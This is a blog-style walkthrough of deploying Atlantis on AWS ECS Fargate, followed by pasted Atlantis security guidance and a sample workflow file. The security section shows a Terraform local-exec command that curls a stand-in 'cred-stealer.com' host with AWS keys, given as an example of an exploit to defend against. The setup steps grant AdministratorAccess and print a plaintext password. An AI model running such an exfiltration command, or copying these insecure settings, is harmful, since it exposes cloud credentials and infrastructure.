Setup my Atlantis ECS Fargate

Setup my Atlantis ECS Fargate

What is Atlantis?

Atlantis is an application for automating Terraform via pull requests. It is deployed as a standalone application into your infrastructure. No third-party has access to your credentials.

Atlantis listens for GitHub, GitLab or Bitbucket webhooks about Terraform pull requests. It then runs terraform plan and comments with the output back on the pull request.

When you want to apply, comment atlantis apply on the pull request and Atlantis will run terraform apply and comment back with the output.

My memories installing Atlantis:

Clone this github repository:
1. $ git clone git@github.com:terraform-aws-modules/terraform-aws-atlantis.git
2. $ cd terraform-aws-atlantis
3. Copy sample terraform.tfvars.sample into terraform.tfvars and specify required variables there.

4. Run terraform init to download required providers and modules.

5. Run terraform apply to apply the Terraform configuration and create required infrastructure.

6. Run terraform output atlantis_url to get URL where Atlantis is publicly reachable. (Note: It may take a minute or two to get it reachable for the first time)

7. Github webhook is automatically created if github_token, github_owner and github_repo_names were specified. Read Add GitHub Webhook in the official Atlantis documentation or check example “GitHub repository webhook for Atlantis” to add more webhooks.

Configure Atlantis:

  1. add full access to aws resource policy arn:aws:iam::aws:policy/AdministratorAccess in variable “policies_arn” in variable.tf, because the plan and apply really run from the ecs fargate container in aws but is just showed in github. default = [“arn:aws:iam::aws:policy/AdministratorAccess”, “arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy”], notice that the executionrolepolicy have to be added here too.
  2. Create the Atlantis.yaml or modify it if exist.
  3. Don’t forget to add permission in server side to create custom workflow, modifying .pre-commit-config.yaml, and in variable.tf set variable “allow_repo_config” to true, my complete set of permission are:

– id: github.com/githubuser/reponame

branch: /.*/

apply_requirements: [approved, mergeable]

allowed_overrides: [apply_requirements, workflow, delete_source_branch_on_merge]

allow_custom_workflows: true

delete_source_branch_on_merge: true

4. Add to terraform.tfvars if you want to use a existing VPC:
vpc_id = “vpc-03fe1balgoalgo”
public_subnet_ids = [“subnet-algo”, “subnet-algo2”]
private_subnet_ids = [“subnet-algo3”, “subnet-algo4”]

5. In case you want to create new VPC
cidr = “10.10.0.0/16”

azs = [“us-east-1a”, “us-east-1b”]
private_subnets = [“10.10.1.0/24”, “10.10.2.0/24”]
public_subnets = [“10.10.11.0/24”, “10.10.12.0/24”]
Note: even if you want to re-use a existing VPC, keep those values, the configuration in step 4 are going to override this setuo in the point 5.

  1. The module acm is going to create a new certificate and validate it for atlantis.domain.root (atlantis.mydomain.net)
  2. Add your domain to terraform.tfvars in section route53_zone_name = “domain.root”
  3. In terrafrom.tfvars add atlantis_repo_allowlist = [“github.com/githubuser/repo”] with the list of repos allow to be use with atlantis.
  4. In terraform.tfvars set:
    atlantis_github_user = “myuser_in_github”
    atlantis_github_user_token = “github_pat_….3456”
  5. The atlantis_github_user_token has to be created in github, unde username-setting-developer…
  6. Once runned the terraform apply and the ecs fargate is created, get the wenhook_secret from “terraform output webhook_secret”
  7. Go to your repo and create a new webhook using the previous secret, set the payload url with https://atlantis.domain.root/events, content type: application/json, let me select individual events (choose issue comments, pull request review, pull request, pushes)
    13 In terrfaorm.tfvars set atlantis_version to v0.20.1
  8. In .pre-commit-config.yaml add:
  • id: github.com/githubuser/repo
    branch: /.*/
    apply_requirements: [approved, mergeable]
    allowed_overrides: [apply_requirements, workflow, delete_source_branch_on_merge]
    allow_custom_workflows: true
    delete_source_branch_on_merge: true
###### FOR BASIC WEB AUTHENTICATION #####

12. Add to maint.tf

{

name = “ATLANTIS_WEB_BASIC_AUTH”

value = var.atlantis_web_basic_auth

},

{

name = “ATLANTIS_WEB_USERNAME”

value = var.atlantis_web_username

},

{

name = “ATLANTIS_WEB_PASSWORD”

value = var.atlantis_web_password

},

13. In variable.tf add

variable “atlantis_web_basic_auth {}

variable “atlantis_web_username” {}

variable “atlantis_web_password” {}

14. Add in tfvars file (terraform.tfvars):

#For Atlantis UI login

atlantis_web_basic_auth = "true"

atlantis_web_username = "lsalas"

atlantis_web_password = "Rtgf56#g56FtvB"

Important Security

Security
Exploits
Bitbucket Cloud (bitbucket.org)
Mitigations
Don’t Use On Public Repos
Don’t Use –allow-fork-prs
–repo-allowlist
Protect Terraform Planning
–var-file-allowlist
Webhook Secrets
Azure DevOps Basic Authentication
SSL/HTTPS
Enable Authentication on Atlantis Web Server

Exploits

Because you usually run Atlantis on a server with credentials that allow access to your infrastructure it’s important that you deploy Atlantis securely.

Atlantis could be exploited by

An attacker submitting a pull request that contains a malicious Terraform file that uses a malicious provider or an external data source that Atlantis then runs terraform plan on (which it does automatically unless you’ve turned off automatic plans).
Running terraform apply on a malicious Terraform file with local-exec
resource “null_resource” “null” {
provisioner “local-exec” {
command = “curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY”
}
}
Running malicious custom build commands specified in an atlantis.yaml file. Atlantis uses the atlantis.yaml file from the pull request branch, not master.
Someone adding atlantis plan/apply comments on your valid pull requests causing terraform to run when you don’t want it to.

Bitbucket Cloud (bitbucket.org)

WARNING

Bitbucket Cloud does not support webhook secrets. This could allow attackers to spoof requests from Bitbucket. Ensure you are allowing only Bitbucket IPs.

Bitbucket Cloud doesn’t support webhook secrets. This means that an attacker could make fake requests to Atlantis that look like they’re coming from Bitbucket.

If you are specifying –repo-allowlist then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.

To prevent this, allowlist Bitbucket’s IP addresses (see Outbound IPv4 addresses).

Mitigations

Don’t Use On Public Repos

Because anyone can comment on public pull requests, even with all the security mitigations available, it’s still dangerous to run Atlantis on public repos without proper configuration of the security settings.

Don’t Use –allow-fork-prs

If you’re running on a public repo (which isn’t recommended, see above) you shouldn’t set –allow-fork-prs (defaults to false) because anyone can open up a pull request from their fork to your repo.

–repo-allowlist

Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the –repo-allowlist flag. For example:

Specific repositories: –repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
Your whole organization: –repo-allowlist=github.com/runatlantis/*
Every repository in your GitHub Enterprise install: –repo-allowlist=github.yourcompany.com/*
All repositories: –repo-allowlist=*. Useful for when you’re in a protected network but dangerous without also setting a webhook secret.
This flag ensures your Atlantis install isn’t being used with repositories you don’t control. See atlantis server –help for more details.

Protect Terraform Planning

If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that terraform apply approvals are not enough. It is possible to run malicious code in a terraform plan using the external data source or by specifying a malicious provider. This code could then exfiltrate your credentials.

To prevent this, you could:

Bake providers into the Atlantis image or host and deny egress in production.
Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
Modify your server-side repo configuration’s plan step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a “thumbs-up” on the PR before allowing the plan to continue. Conftest could be of use here.

–var-file-allowlist

The files on your Atlantis install may be accessible as variable definition files from pull requests by adding
atlantis plan — -var-file=/path/to/file comments. To mitigate this security risk, Atlantis has limited such access only to the files allowlisted by the –var-file-allowlist flag. If this argument is not provided, it defaults to Atlantis’ data directory.

Webhook Secrets

Atlantis should be run with Webhook secrets set via the $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET environment variables. Even with the –repo-allowlist flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).

Tip

If you are using Azure DevOps, instead of webhook secrets add a [basic username and password](#azure devops basic authentication)

Azure DevOps Basic Authentication

Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.

SSL/HTTPS

If you’re using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the –ssl-cert-file and –ssl-key-file flags.

Enable Authentication on Atlantis Web Server

It is very recommended to enable authentication in the web service. Enable BasicAuth using the –web-basic-auth=true and setup a username and a password using –web-username=yourUsername and –web-password=yourPassword flags.

You can also pass these as environment variables ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername and ATLANTIS_WEB_PASSWORD=yourPassword.

Tip

We do encourage the usage of complex passwords in order to prevent basic bruteforcing attacks.

docker run runatlantis/atlantis:v0.18.2 server –gitlab-user=username –gitlab-token=token –web-basic-auth=true –web-username=admin –web-password=password –repo-allowlist=”gitlab.com/group/*”

###################################

Change default Atlantis workflow

##################################

This is an example atlantis.yaml to change the default behavior in the Atlantis workflow:

version: 3
projects:
- name: sonarqube
  dir: awsterraform
  workspace: default
  terraform_version: 1.3.2
  autoplan:
    when_modified: ["../modules/**/*.tf", "*.tf*"]
    enabled: true
  workflow: sonarworkflow
  apply_requirements: [approved]
workflows:
  sonarworkflow:
    plan:
      steps:
      - run: git config --global --add safe.directory "*"
      - init
      - plan:
          extra_args: ["-var-file", "terraform.tfvars"]
    apply:
      steps:
      - apply
  1. autoplan -> when_modified, when a tf or tfvars files is changed in a module inside the module folder, the plan is going to run automatically.
  2. apply_rquierement, atlantis apply just run if the PR is approved
  3. this version of atlantis, the latest one, use a new version of git which is restrictive, have some security features, in order to run git with no issue, we have to run first: run: git config –global –add safe.directory “*” , “*” apply over all the repositories, if not used the error “modules…. can’t be downloaded…”
  4. plan: -> extra args, permit to add some terraform (atlantis arguments) like -var-file to identify the tfvars file for the plan.
  5. There are 2 jobs in the workflow to run.

Tips:

SECRETS-VARIABLES:

Atlantis doesn’t read variables from gitlab or github secrets, those variables can be hide in the container itself.

INSTALL PACKAGES

Create you own image to add packages, and set “atlantis_image” vairable in variable.tf

Comments are closed.